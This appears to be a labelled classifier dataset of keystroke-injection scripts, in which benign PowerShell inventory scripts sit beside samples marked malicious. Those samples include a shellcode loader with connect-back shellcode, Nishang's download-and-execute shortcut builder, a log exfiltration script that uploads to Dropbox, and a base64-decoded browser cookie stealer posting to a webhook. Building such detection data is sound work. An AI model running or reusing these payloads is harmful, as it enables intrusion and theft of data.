{$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1877803e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_uokqizcc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.456984e-05
"win+r enter powershell enter enter enter function Out-Shortcut enter { enter <# enter .SYNOPSIS enter Nishang script which creates a shortcut capable of launching PowerShell commands and scripts. enter enter .DESCRIPTION enter The script generates a shortcut (.lnk). When a target opens the shortcut, the predefined powershell scripts and/or commands get executed. enter A hotkey for the shortcut could also be generated. Also, the icon of the shortcut could be set too. enter enter .PARAMETER Executable enter EXE which you want to execute on the target. Default is PowerShell. enter enter .PARAMETER Payload enter Payload which you want to execute on the target. enter enter .PARAMETER PayloadURL enter URL of the powershell script which would be executed on the target. enter enter .PARAMETER Arguments enter Arguments to the powershell script to be executed on the target. enter enter .PARAMETER OutputPath enter Path to the .lnk file to be generated. Default is with the name Shortcut to File Server.lnk in the current directory. enter enter .PARAMETER Hotkey enter The Hotkey to be assigned to the shortcut. Default is F5. enter enter .PARAMETER Icon enter The Icon to be assigned to the generated shortcut. Default is that of explorer.exe enter enter .EXAMPLE enter PS > Out-Shortcut -Payload ""-WindowStyle hidden -ExecutionPolicy Bypass -noprofile -noexit -c Get-ChildItem"" enter enter Above command would execute Get-ChildItem on the hine when the shortcut is opened. Note that powershell.exe is enter not a part of the payload as the shortcut already points to it. enter enter .EXAMPLE enter PS > Out-Shortcut -PayloadURL http://192.168.254.1/Get-Wlan-Keys.ps1 enter enter Use above command to generate a Shortcut which download and execute the given powershell script in memory on target. enter enter .EXAMPLE enter PS > Out-Shortcut -Payload ""-EncodedCommand <>"" enter enter Use above command to generate a Shortcut which executes the given encoded command/script. enter Use Invoke-Encode from Nishang to encode the command or script. enter .EXAMPLE enter PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM enter enter Use above command to pass an argument to the powershell script/module. enter enter .EXAMPLE enter PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HotKey 'F3' enter enter Use above command to assign F3 as hotkey to the shortcut enter enter .EXAMPLE enter PS > Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HotKey 'F3' -Icon 'notepad.exe' enter enter Use above command to assign notepad icon to the generated shortcut. enter enter .EXAMPLE enter PS > Out-Shortcut -Executable C:\Windows\System32\cmd.exe -Payload "" /c powershell -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.102.1/Invoke-PowerShellTcpOneLine.ps1'))"" enter enter Use above command to use a custom executable and payload. enter enter .LINK enter http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html enter https://github.com/samratashok/nishang enter http://blog.trendmicro.com/trendlabs-security-intelligence/black-magic-windows-powershell-used-again-in-new-attack/ enter #> enter [CmdletBinding()] Param( enter enter [Parameter(Position = 0, Mandatory = $False)] enter [String] enter $Executable = ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"", enter enter [Parameter(Position = 1, Mandatory = $False)] enter [String] enter $Payload, enter enter [Parameter(Position = 2, Mandatory = $False)] enter [String] enter $PayloadURL, enter [Parameter(Position = 3, Mandatory = $False)] enter [String] enter $Arguments, enter enter [Parameter(Position = 4, Mandatory = $False)] enter [String] enter $OutputPath = ""$pwd\Shortcut to File Server.lnk"", enter enter [Parameter(Position = 5, Mandatory = $False)] enter [String] enter $HotKey = 'F5', enter [Parameter(Position = 6, Mandatory = $False)] enter [String] enter $Icon='explorer.exe' enter ) enter if(!$Payload) enter { enter $Payload = "" -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"" enter } enter $WshShell = New-Object -comObject WScript.Shell enter $Shortcut = $WshShell.CreateShortcut($OutputPath) enter $Shortcut.TargetPath = $Executable enter $Shortcut.Description = ""Shortcut to Windows Update Commandline"" enter $Shortcut.WindowStyle = 7 enter $Shortcut.Hotkey = $HotKey enter $Shortcut.IconLocation = ""$Icon,0"" enter $Shortcut.Arguments = $Payload enter $Shortcut.Save() enter Write-Output ""The Shortcut file has been written as $OutputPath"" enter enter } enter enter",1,1,6.476979e-05,0.99993527
"win+r enter powershell enter enter enter function Get-PSFConfig enter { enter enter [OutputType([PSFramework.Configuration.Config])] enter [CmdletBinding(DefaultParameterSetName = ""FullName"", HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Get-PSFConfig')] enter Param ( enter [Parameter(ParameterSetName = ""FullName"", Position = 0)] enter [string] enter $FullName = ""*"", enter enter [Parameter(ParameterSetName = ""Module"", Position = 1)] enter [string] enter $Name = ""*"", enter enter [Parameter(ParameterSetName = ""Module"", Position = 0)] enter [string] enter $Module = ""*"", enter enter [switch] enter $Force enter ) enter enter switch ($PSCmdlet.ParameterSetName) enter { enter ""Module"" enter { enter $Name = $Name.ToLower() enter $Module = $Module.ToLower() enter enter [PSFramework.Configuration.ConfigurationHost]::Configurations.Values | Where-Object { ($_.Name -like $Name) -and ($_.Module -like $Module) -and ((-not $_.Hidden) -or ($Force)) } | Sort-Object Module, Name enter } enter enter ""FullName"" enter { enter [PSFramework.Configuration.ConfigurationHost]::Configurations.Values | Where-Object { (""$($_.Module).$($_.Name)"" -like $FullName) -and ((-not $_.Hidden) -or ($Force)) } | Sort-Object Module, Name enter } enter } enter } enter enter",0,0,0.9999367,6.32412e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_n5egw90i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 3."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4307006e-05
"win+r enter powershell enter enter enter function ConvertTo-CContainerInheritanceFlags enter { enter enter [CmdletBinding()] enter [OutputType([Carbon.Security.ContainerInheritanceFlags])] enter param( enter [Parameter(Mandatory=$true,Position=0)] enter [Security.AccessControl.InheritanceFlags] enter enter $InheritanceFlags, enter enter [Parameter(Mandatory=$true,Position=1)] enter [Security.AccessControl.PropagationFlags] enter enter $PropagationFlags enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $propFlagsNone = $PropagationFlags -eq [Security.AccessControl.PropagationFlags]::None enter $propFlagsInheritOnly = $PropagationFlags -eq [Security.AccessControl.PropagationFlags]::InheritOnly enter $propFlagsInheritOnlyNoPropagate = $PropagationFlags -eq ([Security.AccessControl.PropagationFlags]::InheritOnly -bor [Security.AccessControl.PropagationFlags]::NoPropagateInherit) enter $propFlagsNoPropagate = $PropagationFlags -eq [Security.AccessControl.PropagationFlags]::NoPropagateInherit enter enter if( $InheritanceFlags -eq [Security.AccessControl.InheritanceFlags]::None ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::Container enter } enter elseif( $InheritanceFlags -eq [Security.AccessControl.InheritanceFlags]::ContainerInherit ) enter { enter if( $propFlagsInheritOnly ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::SubContainers enter } enter elseif( $propFlagsInheritOnlyNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ChildContainers enter } enter elseif( $propFlagsNone ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndSubContainers enter } enter elseif( $propFlagsNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndChildContainers enter } enter } enter elseif( $InheritanceFlags -eq [Security.AccessControl.InheritanceFlags]::ObjectInherit ) enter { enter if( $propFlagsInheritOnly ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::Leaves enter } enter elseif( $propFlagsInheritOnlyNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ChildLeaves enter } enter elseif( $propFlagsNone ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndLeaves enter } enter elseif( $propFlagsNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndChildLeaves enter } enter } enter elseif( $InheritanceFlags -eq ([Security.AccessControl.InheritanceFlags]::ContainerInherit -bor [Security.AccessControl.InheritanceFlags]::ObjectInherit ) ) enter { enter if( $propFlagsInheritOnly ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::SubContainersAndLeaves enter } enter elseif( $propFlagsInheritOnlyNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ChildContainersAndChildLeaves enter } enter elseif( $propFlagsNone ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndSubContainersAndLeaves enter } enter elseif( $propFlagsNoPropagate ) enter { enter return [Carbon.Security.ContainerInheritanceFlags]::ContainerAndChildContainersAndChildLeaves enter } enter } enter } enter enter",0,0,0.9997713,0.00022874407
"win+r powershell enter unknown_key_action ctrl alt t ACCESS_TOKEN=""TOKEN"" enter USER_NAME=$(whoami) enter RANDOM=$(shuf -i 1-999999999999 -n 1) enter TMP_FOLDER_PATH=$(mktemp -d -p ""/home/$USER_NAME/tmp/"" prefix-XXXXXXXXXX) enter ZIP_NAME=""$RANDOM.zip"" enter ZIP_PATH=""$TMP_FOLDER_PATH/$ZIP_NAME"" enter LOG_PATH=""/var/log/"" enter zip -r ""$ZIP_PATH"" ""$LOG_PATH"" enter DROPBOX_FOLDER=""/$ZIP_NAME"" enter curl -X POSTDROPBOX_API_LINK--header ""Authorization: Bearer $ACCESS_TOKEN"" --header ""Dropbox-API-Arg: {\""path\"": \""$DROPBOX_FOLDER\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false}"" --header ""Content-Type: application/octet-stream"" --data-binary ""@$ZIP_PATH"" enter rm -rf ""$TMP_FOLDER_PATH"" enter enter",1,1,9.218102e-05,0.99990785
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_4lrf4wto"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter",0,0,0.9999653,3.4694385e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true,HelpMessage=""Site Server where SQL Server Reporting Services are installed"")] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1})] enter [string]$ReportServer, enter [parameter(Mandatory=$true,HelpMessage=""SiteCode of the Reporting Service point"")] enter [string]$SiteCode, enter [parameter(Mandatory=$false,HelpMessage=""Should only be specified if the default 'ConfigMgr_<sitecode>' folder is not used and a custom folder was created"")] enter [string]$RootFolderName = ""ConfigMgr"", enter [parameter(Mandatory=$false,HelpMessage=""If specified, search is restricted to within this folder if it exists"")] enter [string]$FolderName, enter [parameter(Mandatory=$true,HelpMessage=""Path to where the reports will be exported"")] enter [string]$ExportPath, enter [Parameter(Mandatory=$false,HelpMessage=""PSCredential object created with Get-Credential or specify an username"")] enter [ValidateNotNull()] enter [System.Management.Automation.PSCredential] enter [System.Management.Automation.Credential()] enter $Credential = [System.Management.Automation.PSCredential]::Empty, enter [parameter(Mandatory=$false,HelpMessage=""Show a progressbar displaying the current operation"")] enter [switch]$ShowProgress enter ) enter Begin { enter enter $SSRSUri = ""http://$($ReportServer)/ReportServer/ReportService2010.asmx"" enter enter if ($RootFolderName -like ""ConfigMgr"") { enter $SSRSRootFolderName = -join (""/"",""$($RootFolderName)"",""_"",$($SiteCode)) enter } enter else { enter $SSRSRootFolderName = -join (""/"",""$($RootFolderName)"") enter } enter enter $ProxyArgs = [ordered]@{ enter ""Uri"" = $SSRSUri enter ""Namespace"" = ""SSRS.ReportingServices2010"" enter ""UseDefaultCredential"" = $true enter } enter if ($Credential -ne [System.Management.Automation.PSCredential]::Empty) { enter $ProxyArgs.Remove(""UseDefaultCredential"") enter $ProxyArgs.Add(""Credential"", $Credential) enter } enter else { enter Write-Verbose -Message ""Credentials was not provided, using default"" enter } enter enter if ($ExportPath.EndsWith(""\"")) { enter Write-Verbose -Message ""Trimmed export path"" enter $ExportPath = $ExportPath.TrimEnd(""\"") enter } enter enter if ($PSBoundParameters[""ShowProgress""]) { enter $ProgressCount = 0 enter } enter } enter Process { enter try { enter enter $WebServiceProxy = New-WebServiceProxy @ProxyArgs -ErrorAction Stop enter if ($PSBoundParameters[""FolderName""]) { enter Write-Verbose -Message ""FolderName parameter was specified, matching results"" enter $WebItems = $WebServiceProxy.ListChildren($SSRSRootFolderName, $true) | Select-Object ID, Name, Path, TypeName | Where-Object { $_.Path -match ""$($FolderName)"" } | Where-Object { $_.TypeName -eq ""Report"" } enter } enter else { enter Write-Verbose -Message ""Gathering objects from Report Server"" enter $WebItems = $WebServiceProxy.ListChildren($SSRSRootFolderName, $true) | Select-Object ID, Name, Path, TypeName | Where-Object { $_.TypeName -eq ""Report"" } enter } enter $WebItemsCount = ($WebItems | Measure-Object).Count enter enter foreach ($Item in $WebItems) { enter enter $SubPath = (Split-Path -Path $Item.Path).TrimStart(""\"") enter $ReportName = Split-Path -Path $Item.Path -Leaf enter $File = New-Object -TypeName System.Xml.XmlDocument enter enter if ($PSBoundParameters[""ShowProgress""]) { enter $ProgressCount++ enter Write-Progress -Activity ""Exporting Reports"" -Id 1 -Status ""$($ProgressCount) / $($WebItemsCount)"" -CurrentOperation ""$($ReportName)"" -PercentComplete (($ProgressCount / $WebItemsCount) * 100) enter } enter enter [byte[]]$ReportDefinition = $null enter enter $ReportDefinition = $WebServiceProxy.GetItemDefinition($Item.Path) enter [System.IO.MemoryStream]$MemoryStream = New-Object -TypeName System.IO.MemoryStream(@(,$ReportDefinition)) enter $File.Load($MemoryStream) enter enter $ReportFileName = -join ($ExportPath,""\"",$SubPath,""\"",$ReportName,"".rdl"") enter enter if (-not(Test-Path -Path (-join ($ExportPath,""\"",$SubPath)))) { enter New-Item -Path (-join ($ExportPath,""\"",$SubPath)) -ItemType Directory -Force -Verbose:$false | Out-Null enter } enter enter if ($PSCmdlet.ShouldProcess(""Report: $($ReportName)"",""Save"")) { enter if (-not(Test-Path -Path $ReportFileName -PathType Leaf)) { enter $File.Save($ReportFileName) enter } enter else { enter Write-Warning -Message ""Existing file found with name '$($ReportName).rdl', skipping download"" enter } enter } enter } enter } enter catch [Exception] { enter Throw $_.Exception.Message enter } enter } enter End { enter if ($PSBoundParameters[""ShowProgress""]) { enter Write-Progress -Activity ""Exporting Reports"" -Completed -ErrorAction SilentlyContinue enter } enter } enter enter",0,0,0.9998118,0.00018824651
"win+r powershell enter $vpbf1ircalyeq9d = ""c/4/OGtybmd+NDB3LJeIaCBxanN6NDBibISxoiOM3pAzzqFobA02PWt5bmd6 enter fGQpODkECkU2IiuWDl0aeCCB5VhPJ0Bj3PZn5l5SWsKdT4Q8kEmf7FEtvCLwfP8z/PyQXXwfUqeBDaIT enter pU0u6pjzoqI/1dtoX2HdzC3rFcCsuHQRmQFIqux7DmJa5D9fNRwrMcBUQONiD/dLyf7TseaucU2QALEF enter m5v4t5Lpyxa9V5DZk9bkofmiWXN8kBPnVQpzj9xXFpVu6djTcYvNXtrR1dTY/TrMy5r/IXoLbpfZ2+im enter i0afL7DAlBWKjyCG8Ue1N8lhRtOK7+Dxo5zCRwvfqV6F+Cvjpk/npdaEQJMF5yK1wxSV0om/03LwmLx/ enter TQ2NBKo8BZyhkHwBwuIcIrpkjA4J0MBXV4bT2NhK2PVUivSu5dUO9BCbtVKKP+BdkYePxncBpwrMbqw1 enter Lk01sBRWIPpDUxb/fO/Lp7OH4FKoXElhcRnF3rRHPSD7fhDOAaqIy03RB2uHzZJmx7SjzVcQ9RJxvhhn enter Fuvy8kw7K9oCoisc1pfV/W4EH3dh3iv2a9LVm3wIjESNow1SsIYY9U3yNNjYCorg4c6/YDa/+fib7oFR enter XwpwptgfCbvqGYn5S6trA2ODtxgRn0VfXy8xF3r0oN3wbR8Sgr2px11uQ4Tx4WeY6QdwUhXRepDVHx/N enter BM+VkNF4BVLT8odHcIbBp1iqppGIlBT5kAvAeQx+swOfON5MuMtcMVtGUWB4QmvzHw02xDCzphQZ8LRu enter hSXjIejHd9hEXOuoVxcX4XjTSzQe79TKkYAT8vTHGkkOtAdaiOccOg1NP1tXm9uoWZl5rsK7OLyRuI+t enter otgbjGg4AYa4ZkydQ1Kq enter enter",1,1,6.274501e-05,0.9999373
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x8f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_eascldls"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4431425e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_86er9672"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.477136e-05
"win+r enter powershell enter enter enter win r powershell enter set-executionpolicy -executionpolicy remotesigned -scope currentuser enter $webhook = ""webhookgoeshere"";$tempfile = ""$env:temp emp.ps1""; $file = ""$env:temp\k.ps1""; echo jgzpcmvmb3hqcm9mawxlugf0aca9iepvaw4tugf0acatugf0acakzw52okfquerbveeglunoawxkugf0acantw96awxsyvxgaxjlzm94xfbyb2zpbgvzjwokzmlyzwzvefbyb2zpbgugpsbhzxqtq2hpbgrjdgvtic1qyxroicrmaxjlzm94uhjvzmlszvbhdgggfcbxagvyzs1pymply3qgeyrflk5hbwuglwxpa2ugiipkzwzhdwx0lxjlbgvhc2uifqoky29va2llc0zpbgvqyxroid0gsm9pbi1qyxroic1qyxroicrmaxjlzm94uhjvzmlszs5gdwxstmftzsatq2hpbgrqyxroicdjb29rawvzlnnxbgl0zsckawygkfrlc3qtugf0acaky29va2llc0zpbgvqyxroksb7ciagicaky29va2llc0zpbgvdb250zw50id0gw1n5c3rlbs5jty5gawxlxto6umvhzefsbej5dgvzkcrjb29rawvzrmlszvbhdggpciagicakym91bmrhcnkgpsails0tls0tls0tls0tls0tls0tls0tls0tiiarifttexn0zw0ur3vpzf06ok5ld0d1awqoks5ub1n0cmluzygitiipciagicakym9keuxpbmvzid0gqcgils0kym91bmrhcnkilcanq29udgvudc1eaxnwb3npdglvbjogzm9ybs1kyxrhoybuyw1lpsjmawxlijsgzmlszw5hbwu9imnvb2tpzxmuc3fsaxrliicsicddb250zw50lvr5cgu6igfwcgxpy2f0aw9ul29jdgv0lxn0cmvhbscsiccnlcbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygky29va2llc0zpbgvdb250zw50kswgii0tjgjvdw5kyxj5ls0ikqogicagjgjvzhkgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldej5dgvzkcgkym9keuxpbmvzic1qb2luicjgcmbuiikpciagicakagvhzgvycya9ieb7icjdb250zw50lvr5cguiid0gim11bhrpcgfydc9mb3jtlwrhdge7igjvdw5kyxj5psrib3vuzgfyesigfqogicagdhj5ihskicagicagicakbnvsbca9ieludm9rzs1szxn0twv0ag9kic1vcmkgjhdlymhvb2sglu1ldghvzcbqb3n0ic1cb2r5icrib2r5ic1izwfkzxjzicrozwfkzxjzciagicb9ignhdgnoihskicagicagicbxcml0zs1ib3n0icjfcnjvcjogjf8iciagicb9cn0gzwxzzsb7ciagicbxcml0zs1ib3n0icjgawxlig5vdcbmb3vuzc4icn0k > ""$tempfile""; certutil -f -decode ""$tempfile"" ""$file"" | out-null; & ""$env:temp\k.ps1"" enter exit enter enter enter",1,1,5.7361445e-05,0.99994266
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_p63p0b3z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_25.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter",0,0,0.999966,3.403199e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_hwfoeuk6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3746364e-05
"win+r powershell enter Function Get-ComputerNameFromInstance { [CmdletBinding()] Param( [Parameter(M enter andatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName enter = $true, HelpMessage = 'SQL Server instance.')] [string]$Instance ) If ($Ins enter tance) { $ComputerName = $Instance.split('\')[0].split(',')[0] } else { enter",1,1,0.0011792751,0.9988207
"win+r powershell enter $FeatureEnabled = $EnabledExperimentalFeatures.Contains('Microsoft.PowerShell.Ut enter ility.PSDebugRunspaceWithBreakpoints') Describe ""`Enable-RunspaceDebug -Breakpo enter int` Unit Tests - Feature-Enabled"" -Tags ""CI"" { BeforeAll { if (!$FeatureEnab enter led) { Write-Verbose ""Test Suite Skipped. The test suite requires the experimen enter tal feature 'Microsoft.PowerShell.Utility.PSDebugRunspaceWithBreakpoints' to be enter enabled."" -Verbose $originalDefaultParameterValues = $PSDefaultParameterValues. enter Clone() $PSDefaultParameterValues[""it:skip""] = $true return } enter enter",0,1,0.0051557817,0.9948442
